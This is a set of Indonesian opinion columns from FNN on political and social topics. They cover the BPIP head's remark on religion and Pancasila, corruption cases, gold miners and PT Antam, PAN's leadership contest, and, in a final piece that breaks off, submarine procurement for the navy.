By Dr. Ahmad Yani SH. MH. Jakarta, FNN - Adu domba agama dengan Pancasila semakin meruncing. Kepala Badan Pembina Ideologi Pancasila (BPIP) menghembuskan pernyataan yang sangat fatal. Agama bagi Kepala BPIP Yudian Wahyudi adalah musuh bagi Pancasila. Sepanjang sejarah Republik Indonesia setelah Partai Komunis Indonesia (PKI) dinyatakan sebagai partai terlarang, baru kali ini seorang Kepala Lembaga Negara, memulai kembali adu domba Agama dan Pancasila. Hal serupa pernah terjadi di bawah pemerintahan demokrasi terpimpin Soekarno (Orla). Waktu itu PKI menjadi salah satu partai yang paling dekat dengan penguasa. Karena itulah Almarhum Jenderal Besar A.H. Nasution dalam sebuah pernyataannya mengingatkan kita bahwa yang mengadu domba Pancasila dan Islam hanya kaum Komunis. Dalam pidatonya di Majelis Konstituante 13 November 1957, tokoh Islam Kasman Singodimedjo banyak mengkritisi pandangan dan sikap PKI terhadap Pancasila. Kasman menilai PKI hanya membonceng Pancasila untuk kemudian diubah sesuai paham dan ideologi komunisme. Ketika itu PKI bermaksud mengubah sila Ketuhanan Yang Maha Esa menjadi "kebebasan beragama". Termasuk dalam cakupan "kebebasan beragama" adalah "kebebasan untuk tidak beragama." Menyebut Agama sebagai musuh utama Pancasila, tentu bertentangan dengan sejarah Pancasila dan sejarah bangsa Indonesia. Pancasila diramu dan dirumuskan oleh founding fathers bangsa berdasarkan nilai-nilai Islam. Kalau kita baca risalah sidang BPUPK dan risalah sidang PPKI, dapat ditarik kesimpulan bahwa Pancasila itu dirumuskan berdasarkan nilai agama, khususnya Islam. Pancasila adalah satu nilai yang hidup itu yang disebut sebagai filosofische groundslaag Indonesia merdeka. Sebagai falsafah, Pancasila adalah sumber nilai dalam kehidupan berbangsa dan bernegara. Sementara pondasi Pancasila adalah ketuhanan Yang Maha Esa sebagai fundamen utama dari keseluruhan sila itu. Pancasila adalah “Piagam Djakarta” minus tujuh kata. Piagam Djakarta menyebutkan “Ketuhanan dengan kewadjiban mendjalankan sjari'at Islam bagi pemeluk-pemeluknja” menurut dan kemanusiaan jang adil dan beradab, persatuan Indonesia dan kerakjatan jang dipimpin oleh hikmat-kebidjaksanaan dalam permusjarawaratan perwakilan, serta dengan mewudjudkan suatu keadilan sosial bagi seluruh Rakjat Indonesia. Maka menyebut agama sebagai musuh utama Pancasila adalah merupakan penistaan terhadap nilai-nilai Pancasila dan nilai-nilai agama yang hidup dalam masyarakat Indonesia. Sebab antara Pancasila dan Agama merupakan dua hal yang tidak ada perbedaan sama sekali. Baik dari segi konsep maupun implementasinya kalau dijalankan secara konsekuen. Akan berbeda lagi kalau Pancasila dijadikan alat untuk memukul lawan dengan memonopoli tafsiran Pancasila dengan pendekatan kekuasaan. Pola ini yang sedang dikembangkan BPIP sekarang. Tafsiran sepihak pada Pancasila pernah dilakukan oleh Orde Lama dan Orde Baru, dan kedua-duannya adalah pemerintahan yang otoriter. Apabila Pancasila ditafsirkan oleh penguasa, maka dapat dikatakan bahwa penguasa itu otoriter dan atau diktator. Yang dilakukan BPIP bukan hanya menafsirkan. Justru Mengadu domba pancasila dan Agama. Proyek Komunisme tahun 1960-an itu kini hidup kembali. Bagi PKI yang tidak beragama, adu domba sangat menguntungkan. Karena yang digalakkan komunisme adalah perang mati-matian melawan agama. Ketika Lenin menulis sebuah artikel, dia mensetir Karl Marx bahwa agama adalah Vodka yang memabukkan. Begitu juga yang dikembangkan komunisme diseluruh dunia. Agama adalah musuh utama. Karena bagi komunis, agama musuh yang harus binasakan. Aidit Tokoh sentral PKI, dengan tegas mengatakan “Revolusi Mental tak akan berhasil kalau masyarakat tidak dijauhkan dengan Agama” Ada lagi tokoh yang dengan Bangga mengatakan “Revolusi Mental akan gagal kalau Agama tidak dipisahkan dengan Politik”. Persis seperti yang diungkapkan oleh Yudian Kepala BPIP. Sementara bagi kaum Pancasilais, agama adalah kata kunci bagi falsafah Pancasila. Baik Islam maupun agama lain menyebutkan “ Pancasila sebagai titik temu agama-agama”. Ini tentu berbeda dengan BPIP, yang mengadu domba agama dan Pancasila, dengan dalil bahwa agama merupakan musuh Pancasila. Tentu saja sangat mirip sekali dengan gaya PKI. Hal tersebut sangat tidak Pancasilais, dan musuh Pancasila bukan agama, tetapi komunisme dan orang-orang yang memusuhi agama atau mereka yang anti agama. Pancasila Titik Temu Agama Bagi saya, menyebut agama musuh Pancasila merupakan sikap dan perilaku anti Pancasila. Tidak selaras dengan nilai-nilai dan ajaran Pancasila. Orang ini tidak pantas menduduki jabatan apapun, karena ada semangat anti Pancasila. Seharusnya Yudian Wahyudin sebagai guru besar harus mampu mendamaikan suasana. Apalagi sebagai kepala BPIP yang katanya sebagai pembina Ideologi. Pancasila itu adalah titik temu bagi semua agama, dan perbedaan dalam NKRI. Risalah perdebatan panjang konstituante dapat dijadikan pelajaran bagaimana menghasilkan perdebatan yang bermutu. Ada yang menarik dalam adu argumentasi itu, ketika Arnord Mononutu menyampaikan sebuah pidato yang disambut hangat oleh Mohammad Natsir. Alnord Mononutu, seorang Kristen yang baik. Anggota konstituante dari Partai Nasional Indonesia (PNI). Mononutu tidak menyebutkan Pancasila digali dari masyarakat Indonesia. Dia justru menyebut intisari dari ajaran Injil. Natsir tokoh Islam yang paling berpengaruh. Tokoh penting Masyumi, jauh sebelum sidang Konstituante menyebut Pancasila dan ajaran Islam adalah satu kesatuan yang tidak bertentangan satu sama lain. Natsir mengatakan itu ketika berpidato di Pakistan di berbagai tulisannya. Natsir menegaskan pendiriannya itu dalam sidang konstituante bahwa Pancasila merupakan point of referensi dari semua sila yang ada di sila ke empat. Sejalan dengan Natsir, dalam pidato yang disambut penuh suka cita oleh Natsir itu (Lukman Hakim 2019), Mononutu dengan tegas berkata “Ketuhanan Yang Maha Esa adalah bagi kami. Pokok dan sumber dari lain-lain sila. Tanpa Ketuhanan Yang Maha Esa,Pancasila hanya akan menjadi filsafat materialistis belaka.” Yang penting menurut Mononutu, ialah Pancasila sebagai realisasi dari jalan pikiran monistis bangsa Indonesia. Pancasila sebagai dasar negara yang bersifat religieus-monistis. “Titik pertemuan dari segala golongan yang percaya kepada Tuhan Yang Maha Esa, apapun juga Nabi golongan itu masing-masing.” Dengan riang gembira, Natsir menyambut pidato Mononutu “saudara Ketua, bukankah ini berarti, di sinilah kita sampai pada titik pertemuan antara umat Kristen dan Islam. Sama-sama hendak mencari dasar negara yang bersumberkan kepada wahyu Ilahi. Baik yang melalui Injil ataupun melalui Quran. Kisah kedua tokoh yang berbeda agama dalam sidang konstituante itu menjadi bukti nyata bahwa Pancasila dan Agama merupakan dua hal yang tidak bertentangan satu dengan yang lain. Pancasila mempertemukan dua front besar yang selama ini berbeda. Tempat bersepakatnya orang-orang beragama. Agama menjadi sumber nilai bagi Pancasila. Maka Mononutu enggan menyebut Pancasila digali dari masyarakat Indonesia, melainkan intisari dari ajaran Injil. Sementara golongan Islam menganggap Pancasila adalah manifestasi dari nilai-nilai Islam yang dirumuskan oleh mayoritas tokoh-tokoh Islam, baik itu dalam sidang BPUPKI maupun PPKI. Musuh Utama Pancasila Musuh utama Pancasila adalah orang yang memperkelahikan Pancasila dengan agama. Karena Pancasila mengakui agama, dan Pancasila bersumber dari ajaran agama, khususnya Islam. Bagaimana mungkin Islam menjadi musuh Pancasila. Maka musuh Utama Pancasila itu orang yang anti agama (Komunis) Musuh selanjutnya Pancasila adalah korupsi, kezaliman dan ketidakadilan. Karena ia telah membuat negeri ini menderita dalam waktu yang lama. Para penjahat kemanusiaan juga musuh Pancasila. Korupsi musuh yang paling berbahaya bagi Pancasila. Selain mengkhianati Pancasila juga merusak tatanan bernegara. Korupsi Jiwasraya, korupsi Asabri, suap menyuap di KPU, dan kejahatan korupsi yang berjibun banyaknya terjadi akhir-akhir ini adalah musuh Pancasila. Musuh Pancasila juga adalah pemimpin yang berbohong dan ingkar janji. Pemimpin yang berdusta, dan para pemujanya adalah musuh yang perlu diperangi oleh Pancasila. Perang melawan pembohong atau pendusta ini kewajiban bagi orang-orang yang Pancasilais. Untuk menutupi kebohongan dan kedustaan itulah, Pancasila dan agama diadu. Ini ada hidden agenda yang ingin dimainkan untuk mengamankan isu Jiwasraya yang membuat negara ini bangkrut. Utang yang tak terbayar akibat kekuasaan di pegang oleh orang-orang yang berjiwa “jongos”. Kenaikan iuran BPJS yang memberatkan rakyat adalah kebijkan yang tidak Pancasilais. Membiarkan korporasi menguasai lahan juataan hektar, asing monopoli sumber daya alam, penguasaan tanah dan air yang menjadi hajat hidup orang banyak oleh oligarki ekonomi, merupakan kejahatan terhadap Pancasila. Maka mengatakan agama sebagai musuh Pancasila hanya untuk mengalihkan perhatian publik pada tumpukan masalah saat ini. Karena itu kita perlu waspada bahwa ini Pancasila sedang diujung tanduk. Sebab PKI sebelum melakukan pemberontakan ia terus menerus mempertentangkan Pancasila dan Agama, untuk mengalihkan perhatian. Sekarang kita berada di situasi yang hampir sama. Kita patut bertanya ini agenda apa dan untuk siapa? wallahualam bis shawab. Penulis Advokat, Dosen Fakultas Hukum dan Fisip Universitas Muhammadiyah Jakarta

PT Antam, Tebar Pesona di Atas Nelangsa Rakyat (Bagian Kedua)

By Kafil Yamin Jakarta, FNN - Keberadaan gurandil dianggap melanggar pasal 158 Jo. Pasal 37 dan atau Pasal 161 UU No 4 tahun 2009. Padahal, mereka berhimpun dalam koperasi penambang tradisional yang memiliki konsesi tambang legal. Namun baik perusahaan mau pun pemerintah memperlakukan mereka seakan para penjarah. Bagi masyarakat setempat, undang-undang itu seakan-akan berbunyi: “Cadangan emas adalah milik pemerintah dan izin tambang hanya diberikan kepada perusahaan besar”. Dan ketika Pemerintah mengeluarkian izin tambang kepada suatu perusahaan atas lokasi tertentu, mereka tak merasa perlu berkonsultasi dengan masyarakat setempat sebagai pewaris sah kekayaan alam yang ada di sana. Mereka yang sudah terlanjur berprofesi sebagai gurandil sebaiknya mencari penghidupan lain. Dan untuk ini PT Antam memberikan kompensasi melalui dana Tanggungjawab Sosial Perusahaan atau yang lazim disebut Corporate Social Responsibility [CSR]. Tapi menurut undang-undang, CSR bukan bantuan. Melainkan kewajiban perusahaan. Bahkan menurut kaidah bisnis mutakhir, CSR adalah bagian dari investasi. Jadi, kalau suatu perusahaan benar-benar mengeluarkan dana CSR, itu tidak berarti perusahaan tersebut membantu masyarakat setempat. Apalagi pemanfaatan dana CSR sering disulap oleh orang-orang pintar dari perguruan tinggi menjadi proyek mereka. Keberadaan penambang rakyat dirasakan sebagai ancaman, bukan sebagai mitra usaha. Dan cara-cara atau muslihat untuk menyingkirkan mereka seringkali tak mengindahkan niliai-nilai dan norma keindonesiaan. “Dulu Brimob mengadakan latihan di wilayah tambang rakyat, tanpa meminta izin kami. Saya tanya kepada komandan Brimob mengapa memilih tempat kami. Mereka bilang diminta pihak Antam. Ini kan maksudnya jelas untuk menakut-nakuti para penambang tradisional,” kata Asep Hudri lagi. ‘Latihan’ ini diikuti dengan imbauan dari pihak perusahaan agar para gurandil beralih ke bidang usaha lain dan untuk itu pihak PT Antam akan me nyalurkan dana tanggung jawab sosial perusahaan. Pihak pemerintah dan perusahaan menyebut langkah ini sebagai ‘penertiban’. Seperti telah dijelaskan, bahwa pengalokasian dan pencairan dana tersebut adalah kewajiban menurut undang-undang. Para penambang tradisional pun mengikuti imbauan itu. Tapi setelah mereka berhenti menambang tahun 2015, ternyata ‘bantuan’ dana yang dijanjikan tak kunjung datang. Mereka lantas mengadu ke Istana Negara mengenai sulitnya lapangan kerja danketidakadaan bantuan dana CSR seperti yang dijanjikan. "Kami dari Desa Bantar Karet, Malasari dan Desa Cisarua tak menerima bantuan dana CSR, pelatihan ketrampilan dan usaha dari UPBE PT Antam Pongkor Tbk seperti yang dijanjikan ketika dilakukan penertiban," ujar Isep Firdaus, mantan gurandil dari Kampung Parigi, Desa Cisarua. Janji bahwa sebagian gurandil dan warga setempat akan direkrut sebagai karyawan PT Antam juga tidak terbukti. “Penertiban penambangan liar malah menambah pengangguran. Para orangtua tak bisa lagi membiayai sekolah anak-anaknya. Tak sedikit pasangan yang terpaksa bercerai. Bahkan kasus kejahatan makin meningkat,” kata Makmun Jawi, seorang mantan gurandil asal Bantar Karet . Memperparah kesusahan masyarakat, seperti kesaksian Makmun, PT Antam Pongkor juga membuang limbah beracun ke dekat pemukiman warga, sehingga mencemari Sungai Bondongan dan air tanah warga. "Karena pencemaran sungai dan air tanah oleh limbah ini, banyak warga Desa Bantar Karet terkena penyakit kulit. Tambah susah lagi karena di desa kami belum ada puskesmas," kata Makmun. Kepala Humas PT Antam UPBE Pongkor, Agus Setiyono, menyanggah pernyataan para penambang tradisional itu. Ia menegaskan bahwa pihaknya telah mengeluarkan dana CSR yang dimaksud. ”Kami sudah membayar dana CSR sebesar Rp8 miliar tahun ini, seperti tahun-tahun sebelumnya. Di luar itu, setiap desa di Kecamatan Nanggung menerima Rp250 juta untuk penyelarasan,” kata Agus. Mengapa penyaluran dana CSR itu tidak dirasakan oleh para mantan penambang tradisional, perlu penyelidikan lebih lanjut. Namun menurut Asep Hudri, keterlibatan orang-orang perguruan tinggi yang semula bertujuan ‘mendampingi’ masyarakat, sering mengaburkan penyaluran dana hak masyarakat tersebut. “Mereka datang dengan program ini-itu untuk memberdayakan masyarakat. Kenyataannya, banyak program yang tidak jalan, dana CSR sudah mereka manfaatkan. Mereka lalu pergi begitu saja. Masyarakat makin susah,” katanya. “Ini membuat buruk citra orang perguruan tinggi. Mulai banyak warga masyarakat melihat mereka sebagai pembohong,” kata Asep lagi. Gunung Pongkor, Bogor, Jawa Barat, adalah lokasi Unit Pertambangan Emas Pongkor milik PT Antam Tbk. Sejak uji coba produksi tahun 1997, tempat ini menjadi tujuan para pencari emas tradisional dari berbagai daerah. (Bersambung) Penulis adalah Wartawan Senior

Merajalelanya Korupsi dan Moralitas Kekuasaan (Bagian Pertama)

By Dr. Syahganda Nainggolan Jakarta, FNN - Hariman Siregar dalam kebingungannya dikalangan aktifis, menyampaikan pertanyaan, kenapa jaman Habibie pembobolan Bank Bali hanya Rp. 400 Milyar, jaman SBY pembobolan Bank Century Rp. 6, 7 Triliun dan sekarang jaman Jokowi, kasus Jiwasraya, pembobolan naik pesat Rp. 13 Triliyun. Apakah semua elit kita sudah gila?, tanya Hariman diantara aktifis pengunjung ulang tahun seorang aktifis senior, akhir bulan lalu. "Space platform WhatsApp Group" memang dipenuhi tiga isu yang berebutan dan berhimpitan beberapa waktu belakangan ini. Isu itu adalah korupsi , WNI eks ISIS, dan Virus Corona. Isu terkait korupsi melibatkan nama-nama Harun Masiku, Hasto Kristyanto, Heru Hidayat, Benny Tjokro dan lain-lain. Semuanya dikaitkan dengan istana maupun kekuasaan rezim Jokowi. Para penghuni dunia medsos dari kalangan non pendukung Jokowi sering mengingatkan agar fokus saja di kasus korupsi. Ingatan ini dimaksudkan untuk penguatan atau gaung tentang isu Jiwasraya dan Masiku tidak hilang ditelan isu ISIS dan Corona. Namun, sebagian netizen tetap bersikukuh bahwa semua isu ini harus dihadapi. Tesis pendukung isu korupsi Jiwasraya dan Harun Masiku di "amplifier" oleh Susilo Bambang Yudhoyono, Rizal Ramli dan Said Didu. Ketiganya sangat fokus pada isu korupsi Jiwasraya. Tesis mereka, pembobolan uang asuransi BUMN (Badan Usaha Milik Negara) sebesar Rp 13 Triliyun di masa pemerintahan Jokowi pasti mempunyai arah ke pendanaan pilpres 2019. Arah itu perlu dikejar. Fokus mereka bertiga pada isu korupsi memang sangat beralasan. Bank Dunia sudah hampir dua puluh tahun ini melibatkan diri pada riset-riset terkait korupsi. Kepentingan Bank Dunia adalah agar uang yang dipinjamkan kepada negara-negara berkembang, termasuk Indonesia, digunakan semua untuk program pembangunan. Tanpa itu Bank Dunia khawatir pembangunan tidak akan mensejahterakan rakyat miskin. Sarah Chayes pengarang "Thieve of State" merujuk pada Machiavelli menyampaikan "corruption is the natural temptation of rulers, but it is often what ultimately brings them down". "The natural temptation" memang terkesan bahasa netral, yang bisa menghinggapi semua penguasa, siapapun. Sebagaimana di review oleh Giles Foden, The New York times, 2015, buku "Thieve of State" yang mengamati Afganistan dan Iraq, memperlihatkan bahwa korupsi bisa menjadi struktural dan mengumpulkan semua uang-uang korupsi secara hirarki untuk elit berkuasa. Ini bukan hanya kasus di sana saja katanya. Chayes mengatakan negara isinya hanyalah mafia berjenjang (vartically integrated criminal syndicates). Dalam "Corruption, Global Security and World Order: To Bribe or to Bomb: Do Corruption and Terrorism Go Together?", buku editan Robert I. Rotberg, 2009, korupsi selain ditempatkan sebagai center dalam persoalan keamanan dunia, disebutkan juga bahayanya korupsi yang mempunyai koeksistensi yang saling memperkuat dengan terorisme. Korupsi Jiwasraya berlanjut dengan isu korupsi uang Asabri. Pelakunya, otaknya sama, Benny Tjokro, pebisnis asal Solo. Kehilangan uang pensiun prajurit ini mencapai Rp 10. triliun. Artinya yang diakui pembobolnya. Pembobolan-pembobolan uang yang melibatkan kekuasaan resmi negara di asuransi ini berbeda dengan kasus investasi bodong maupun asuransi non negara seperti Bumiputra. Dalam kasus Jiwasraya dan Asabri, pimpinan perusahan adalah wakil resmi negara, yang ditunjuk menteri BUMN. Jadi, kasus ini masuk dalam isu korupsi. Di masa lalu, kasus yang mirip telah terjadi di Jamsostek. Pimpinan Jamsostek (BPJS) kala itu, Ahmad Junaidi dan Andi Alamsyah, masuk penjara. Semua tahu bahwa Jamsostek saat itu melayani kekuasaan dan bandar bandar kekuasaan. Nah, bagaimana Jiwasraya serta Asabri? Jika konsisten pada pikiran SBY, Rizal Ramli dan Said Didu, maka seharusnya kita menuntut kepada negara agar dibentuk komisi independen yang meriksa semua pihak yang terlibat dalam kasus Jiwasraya, secara transparan dan objektif. Karena mempercayakan pemeriksaan pada jajaran hukum dan DPR-RI saja, tentu sulit mendapatkan kebenaran objektif kasus ini. Disamping Jiwasraya, kasus Wahyu Setiawan (KPU) dan Harun Masiku adalah kasus besar lainnya, menyangkut korupsi dielit negara. Masiku yang misterius keberadaanya dan adanya koneksi kasus ini dengan Hasto Kristyanto, Sekjen PDIP, juga menghebohkan politik nasional. Dua isu di atas, Jiwasraya dan skandal KPU, memberi kesan adanya kebobrokan pada rezim Jokowi terkait isu pemberantasan korupsi dan pemerintahan yang bersih. Mengapa bobrok? Apa tolak ukurnya? Kebobrokan ini kita ambil tolak ukurnya dengan merujuk tulisan Revolusi Mental ala Jokowi yang ditulisnya di Kompas, 10 Mei, 2014. Menurut Jokowi reformasi yang terjadi sebelum dia memimpin hanyalah reformasi institusi yang tidak menyentuh mental manusia. Dalam bagian itu Jokowi mengatakan: "Korupsi menjadi faktor utama yang membawa bangsa ini ke ambang kebangkrutan ekonomi di tahun 1998 sehingga Indonesia harus menerima suntikan dari Dana Moneter Internasional (IMF) yang harus ditebus oleh bangsa ini dengan harga diri kita. Terlepas dari sepak terjang dan kerja keras KPK mengejar koruptor, praktik korupsi sekarang masih berlangsung, malah ada gejala semakin luas." Nyatanya, setelah Jokowi berkuasa, korupsi masih merajalela dan Jokowi malah ikut pula melumpuhkan KPK melalui revisi UU KPK tahun lalu. Dengan revisi UU KPK, Prof. Syamsudin Haris, anggota Dewan Pengawas KPK, sudah mengakui membuat KPK menjadi lemah. (Bersambung) Penulis adalah Direktur Eksekutif Sabang Merauke Circle

Sejak Kapan Agama Jadi Musuh Pancasila?

Sebuah Catatan Atas Pernyataan Kepala BPIP Oleh Muhammad Wildan Jakarta, FNN - Kembali pernyataan kontroversial lahir dari balik meja pemerintah. Dalam sebuah wawancara media, Kepala Badan Pembinaan Ideologi Pancasila (BPIP) secara lugas menyatakan Agama ialah musuh Pancasila. Sebuah kesimpulan yang menurut penulis terkesan serampangan karena mengingkari sejarah Pancasila itu sendiri. Bagi mereka yang mengerti sejarah tentu pernyataan ini sangat mudah dicari kelemahannya, cukup dengan membuka dokumen-dokumen sidang BPUPK 29 Mei-1 Juni 1945, menyebut tokoh-tokoh agama yang hadir dan menerima Pancasila pada sidang tersebut, atau dengan mengurai argumen-argumen yang dikemukakan oleh Bapak-bapak pendiri bangsa. Oleh karena itu, dalam tulisan ini penulis sengaja tidak membahas pernyataan tersebut dengan argumentasi sejarah 1 Juni 1945, kita hormati saja pernyataan tersebut sebagai buah pikir seorang ilmuwan, terlepas dari kuat lemahnya argumen beliau. Namun jika pernyataan tersebut kita terima sebagai sebuah argumen akademis, pertanyaannya ialah sejak kapan Agama bermusuhan dengan Pancasila? Mari sedikit kita mencari jalan menjawab pertanyaan diatas, dengan terlebih dahulu kita benahi logika pernyataan kontroversial tersebut. Pernyataan agama adalah musuh pancasila menurut hemat penulis bisa saja lahir dari logika yang memandang Agama dan Pancasila sama-sama bernilai absolut. Entah sama-sama bersumber dari wahyu Tuhan atau sama-sama dibawa oleh seorang nabi. jika benar demikian maka kedua elemen absolut tersebut nampaknya tidak mungkin dapat disatukan karena akan saling membunuh satu sama lain. Apa mungkin logika sedangkal ini yang dipakai oleh seorang akademisi yang masih berstatus rektor tersebut? Baiklah, bagaimana jika pernyataan tersebut kita tambahkan sedikit redaksinya menjadi "Tafsir Agama adalah musuh Tafsir Pancasila". Maka pernyataan tersebut dapat diterima secara logika karena tafsir bersifat relatif dan bisa saling bertentangan. Jika pembaca sudah bersepakat untuk menambah sedikit redaksi pernyataan tersebut, mari kita kembali ke pertanyaan awal yaitu, sejak kapan Tafsir Agama menjadi musuh Tafsir Pancasila? Apakah sejak masa awal kemerdekaan? Masa orde lama, orde baru, sejak Reformasi, atau sejak Rezim hasil Pemilu 2014? Kita tentu tahu atau setidaknya pernah tahu bahwa diskursus agama versus pancasila bukan topik baru di republik ini. Wacana tersebut telah hidup diseminar-seminar, di berbagai kajian, mimbar dan berbagai forum diskusi sejak puluhan tahun yang lalu. Dimasa orde lama dan orde baru persinggungan tafsir agama dan tafsir pancasila tidak terlalu terasa dampaknya karena hanya berputar-putar dilingkaran elite, aktivis dan akademisi. Adu tafsir tersebut kemudian makin terasa dampaknya sejak Pemilu 2014. Bahkan bukan hanya wacana, debat Agama versus Pancasila bahkan tumbuh menjadi konflik yang kongkrit hingga menyebabkan pembelahan luar biasa dalam masyarakat kita. Akibatnya masyarkat kita seolah terjebak dalam kerentanan sosial karena konflik tersebut gagal dimoderasi oleh negara. Salah satu bentuk kegagalan negara dalam memoderasi diskursus tersebut terlihat dari pernyataan kontroversial seorang pejabat negara yang digaji sedemikian besarnya yang sedang kita bahas ini. Pemerintah yang harusnya tampil mengelola public discourse justru gagap dan seperti membangun demarkasi dengan memonopoli tafsir atas Agama dan Pancasila. Semakin berbahaya karena ditengah masyarakat muncul semacam kepercayaan bahwa Agama seolah tidak pancasilais dan pancasila seolah tidak agamis akibat kegagapan pemerintah tersebut. Bagaimana mungkin kehidupan berwarganegara dapat tentram jika Pemerintah tetap berpijak diatas satu tafsir dan menghukum tafsir yang lain? Akhirnya semoga pernyataan kontroversial semacam ini tidak lagi keluar dari kantor pemerintah dan semoga pemerintah kita berfokus membenahi persoalan-persoalan kongkrit yang lebih urgent untuk diselesaikan daripada menjadikan isu agama versus pancasila sebagai pelarian dari kegagalan membangun ekonomi. Biarlah public discourse berkembang alamiah hingga mencapai sintesanya sendiri. Penulis adalah Peneliti Sentra, Pusat Studi Politik dan Kebudayaan di Maluku Utara

Amien Rais Berakhir di Kendari?

Oleh Hersubeno Arief Jakarta, FNN - Kendali Amien Rais atas Partai Amanat Nasional (PAN) berakhir di Kendari? Setidaknya signal politik itulah yang ditangkap publik setelah terpilihnya kembali Zulkifli Hasan (Zulhas) dalam Kongres PAN V di Kendari, Sulawesi Tenggara. Mulfachri Harahap jagoan yang disiapkan Amien Rais berhasil dikalahkan Zulhas. Padahal Mulfachri dipasangkan dengan Hanafi Rais, anak Amien Rais dalam satu paket ketum-sekjen. Sementara Dradjad Wibowo figur yang dikenal sangat dekat dan loyalis Amien tidak mendapatkan suara yang signifikan. Kekalahan Mulfachri-Hanafi merupakan simbol runtuhnya dominasi Amien, sekaligus menunjukkan adanya pergeseran arah politik PAN. Peran Amien selama 21 tahun PAN berdiri, kira-kira sama seperti seorang Ayatullah di Iran. Tidak menduduki jabatan formal secara struktural, tetapi semuanya titahnya dipatuhi oleh seluruh kader PAN. Jabatan Amien terakhir di PAN adalah Ketua Dewan Kehormatan. Bukan Jabatan eksekutif. Sami’na waatokna. Kami dengar dan kami laksanakan. Tak Ada tawar menawar. Biru kata Amien, maka biru pula kata kader PAN. Siapapun yang diinginkan menjadi ketua umum pasti jadi. Sebaliknya siapapun yang tak dikehendakinya, pasti tidak jadi. Hal itu bisa dilihat dari tiga kali Kongres PAN. Dia menunjuk Soetrisno Bachir (SB) sebagai penggantinya pada Kongres II. Padahal saat itu SB bukan kader PAN. Begitu juga ketika pada berlangsung Kongres III, Amien menginginkan Hatta Radjasa menjadi ketum menggantikan SB. Maka jadilah Hatta sebagai Ketum. Peristiwa serupa kembali terjadi pada Kongres IV, Hatta yang ingin kembali memimpin PAN berhasil dihadang Amien. Zulkifli Hasan besan Amien akhirnya terpilih sebagai ketum. Dibalik sikapnya yang terkesan otoriter, sesungguhnya ada pesan dan nilai penting yang ingin dijaga Amien. Dia tak ingin ada seorang ketum yang menjabat sampai dua kali. Sikap itu juga dia berlakukan kepada dirinya sendiri yang hanya satu periode menjabat sebagai ketum. Barangkali sebagai tokoh yang dijuluki sebagai Bapak Reformasi, Amien ingin konsisten dengan sikapnya. Dia sangat kritis terhadap rezim Soeharto yang terpilih berkali-kali dan seakan ingin berkuasa selama hidup. Aturan yang sama juga ingin dia berlakukan terhadap Zulhas sang besan tanpa pandang bulu. Tapi kali ini Amien gagal. *Pergeseran sikap politik PAN* Kembali terpilihnya Zulhas sebagai Ketum PAN hampir dipastikan akan mengubah posisioning PAN terhadap pemerintah. Lepas apakah Amien akan tetap diakomodir —misalnya kembali menjadi Ketua Dewan Kehormatan atau tidak— namun kali ini langkah Zulhas akan lebih leluasa membawa gerbong PAN merapat ke istana. Dia sudah mendapat legitimasi yang kuat. Kemenangannya di Kongres Kendari menunjukkan telah terjadi pergeseran basis dukungan di PAN. Amien tak lagi digdaya! Selain di akar rumput, dia juga mendapat dukungan dari figur seperti Hatta Radjasa yang ditunjuknya menjadi Ketua Majelis Pertimbangan Partai (MPP) dan Soetrisno Bachir. Jangan lupa yang paling penting dan utama, Zulhas mendapat restu dan dukungan dari istana. Signal itu secara gamblang disampaikan oleh Zulhas ketika dia menyampaikan ucapan terima kasih kepada Jokowi, tak lama setelah penghitungan suara. Dukungan dari Jokowi ini tidak terlalu mengejutkan. Sejak sebelum penetapan capres-cawapres pada Pilpres 2019, Zulhas cenderung lebih mendukung Jokowi. Namun sikap Amien yang tegas dan keras, membuatnya tidak berkutik. Tidak ada pilihan lain dia ikut mendukung pasangan Prabowo-Sandi. Dukungan setengah hati. Karena dibelakang panggung komunikasinya dengan Jokowi tetap berjalan secara intens. Sementara di depan panggung komunikasinya dibungkus dalam balutan posisi resminya sebagai Ketua MPR. Jadi tak aneh bila dia bertandang ke istana bertemu Jokowi. Tarik menarik posisi PAN antara kubu Zulhas dan Amien masih terus berlanjut pasca pilpres. PAN tetap mengambil posisi sebagai “oposisi” bahkan ketika Prabowo bergabung ke dalam kabinet Jokowi, lebih karena sikap Amien. Baginya tak ada kompromi dengan pemerintahan Jokowi. Secara politis momentum kembali terpilihnya Zulhas di Kongres Kendari terasa sangat pas, karena sebelumya seorang staf di Kantor Staf Presiden (KSP) mengisyaratkan kemungkinan adanya reshufle kabinet. Tak perlu kaget bila kemudian Jokowi menarik satu dua orang menteri dari PAN ke kabinet. Apakah Amien akan mengulang kembali tragedi Gus Dur di PKB. Partai yang dibangun dan dibesarkan diambil-alih oleh orang dekatnya? Gus Dur sampai meninggal dunia tak berhasil mengambil alih kembali PKB. Partai yang dibangun dan dibesarkan itu direbut kendalinya oleh sang kemenakan Muhaimin Iskandar. Kini giliran Zulhas berhasil merebut kendali PAN dari Amien Rais, besan dan mentor politik yang membesarkannya. Politik tak kenal saudara. Hanya kepentingan yang utama. Penulis adalah Wartawan Senior.

Kapal Selam Korsel (6): Jenis Kapal Selam yang Dibutuhkan TNI AL

Oleh Mochamad Toha Jakarta, FNN - Melihat fakta dan data dengan semakin meningkatnya kekuatan serta kemampuan kapal selam negara di kawasan regional, maka perlu adanya perimbangan kekuatan (balance of power) untuk mewujudkan stabilitas keamanan dan pertahanan kawasan. Kekuatan AL negara tetangga semakin maju dengan datangnya berbagai peralatan dan senjata yang lebih modern. Pengadaan kapal selam untuk TNI AL harus mampu menjawab fenomena tersebut serta memberikan efek detterence, minimal seimbang dengan kekuatan negara-negara di kawasan. Dengan kondisi perairan Indonesia itu perairan tropis akan sangat menguntungkan bagi kapal selam dalam melaksanakan operasi tempur, mengingat kondisi perairan tersebut berpengaruh sangat buruk pada pendeteksian sonar (poor sonar condition) terutama bagi sonar aktif yang umumnya digunakan oleh kapal-kapal permukaan. Kondisi perairan tropis tersebut memiliki kadar garam (salinity) yang cukup tinggi, pengaruh “afternoon effect” yang lebih besar, juga organisme dan biota laut yang lebih banyak serta pengaruh kontur dasar laut yang beragam membuat kemampuan pendeteksian sonar relatif buruk terutama bagi kapal permukaan. Hal ini dapat dimanfaatkan oleh kapal selam dalam melaksanakan operasi tempurnya dengan merancang suatu konsep operasi tempur khusus dalam pemanfaatan konstelasi geografis dan hidro-oseanografis perairan Indonesia. Prinsip utama dari kapal selam yang dibutuhkan, serta dihadapkan dengan konstelasi geografis, perimbangan kekuatan dan keberlanjutan proses Transfer of Technology dapat diuraikan sebagai berikut: Pertama, Tingkat kesenyapan dengan Radiated Noise Level yang rendah; Kedua, Tingkat kemampuan penghindaran deteksi (Silent and Stealthy); Ketiga, Segi persenjataannya yang mematikan 